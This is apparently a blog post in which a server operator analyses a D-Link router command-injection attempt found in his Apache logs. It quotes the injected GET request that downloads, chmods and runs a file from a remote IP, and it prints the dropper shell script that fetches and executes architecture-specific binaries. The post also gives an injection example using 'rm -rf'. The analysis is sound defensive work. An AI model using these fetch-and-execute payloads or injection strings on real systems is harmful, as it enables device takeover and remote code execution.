The other day I was debugging a project, which entailed watching the live logs from Apache on a web server. There wasn’t much traffic apart from myself, but something kept appearing in various formats that caught my eye:
18.104.22.168 - - [12/Sep/2018:20:44:57 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://22.214.171.124/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks HTTP/1.1" 400 0 "-" "LMAO/2.0"
The above is an Apache access log that shows someone with a user agent of `LMAO/2.0` is trying to browse to the following decoded resource:
/login.cgi?cli=aa aa';wget http://126.96.36.199/k -O /tmp/ks;chmod 777 /tmp/ks;sh /tmp/ks
My server doesn’t have a
login.cgi script, but some Googling appears to show this is an attempt to exploit D-Link routers. Although my VPS isn’t a D-Link router, this is the same way script kiddies will try and exploit many web applications, and as I needed an excuse for a blog post, let’s have a look…
The GET request
The request above seems to indicate that D-Link routers with a
login.cgi script will execute a command passed as
?cli=<command>. Much like SQL injection, if this input isn’t validated, the attacker can simply add
'; and escape to the shell.
Think of it this way, the following one-liner will run three commands:
ls -lah; echo 'hello'; cd /tmp
Now let’s imagine the D-Link router does something like this, where
$command is the value of
If the command is something simple like
ulimit, it will run as expected. However, if that command was
ulimit'; rm -rf /tmp; , then the command now looks like this:
exec 'ulimit'; rm -rf /tmp;
Now after running the first command, it simply moves on to the next and erases
So, what is the attacker trying to inject? Using the above methods, the commands in the request are:
aa aa' wget http://188.8.131.52/k -O /tmp/ks; chmod 777 /tmp/ks; sh /tmp/ks
The first command is irrelevant, it may do something on a D-Link I’m unaware of, but the important commands come next. The attacker attempts to download the contents of
http://184.108.40.206/k to a file called
/tmp/ks, and once that’s complete, the files permissions are changed so that anyone can execute it. Finally, the file is executed using
So what’s in this magical file? A quick visit to the URL reveals:
#!/bin/sh u="wekdsgnkjdb" bin_names="x86_64 x86_32" http_server="220.127.116.11" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name -O -> $u ./$u done
It’s pretty badly written, and smacks of a script kiddie simply copy and pasting from elsewhere until it works. Let’s take a look piece-by-piece.
First the shell is invoked, which was already done as part of the GET request anyway.
u="wekdsgnkjdb" bin_names="x86_64 x86_32" http_server="18.104.22.168" http_port=80
Next, the attacker puts a seemingly random string in to a variable
u and puts some static values in to other variables.
cd /tmp/||cd /var/
This command attempts to change to the
/tmp directory, however, if that fails then it will try to change to the
/var directory instead.
for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name -O -> $u ./$u done
Next we have a simple loop. The
for name in $bin_names will iterate once for each item in
$bin_names. This was set above as
"x86_64 x86_32", so the loop will run twice, with the
$name variable being x86_64 on the first pass, and x86_32 on the second.
The first thing the script does is erases anything already named
wekdsgnkjdb to ensure a clean start. It then attempts to make a copy of the currently running shell’s binary, and name it
wekdsgnkjdb. Similar to the initial GET request, the permissions are then set to executable by all.
This is where things get a little stupid. After the above work, the attacker then empties the file it just spent time creating, meaning the previous attempt at copying the running shell was pointless, only the permissions were kept.
wget http://$http_server:$http_port/$name -O -> $u ./$u
Finally, the script pulls down a file, saves it as
wekdsgnkjdb and attempts to execute it. Seeing as we know the value of the variables, the two URLs it will pull from are:
These files are binary, so it’s not possible to see what they do, but if this attack was successful then at this point an attacker has gained full remote shell access, and you’ve been pwned regardless.
Overall the attack is quite poorly cobbled together. The GET request executes shell commands, which pulls down a file to execute shell commands, to get a binary. With some effort, most of this could be accomplished in the initial GET request, but script kiddies tend to just copy and paste until it works.
In conclusion, I’d give a B for effort, but a D- for execution.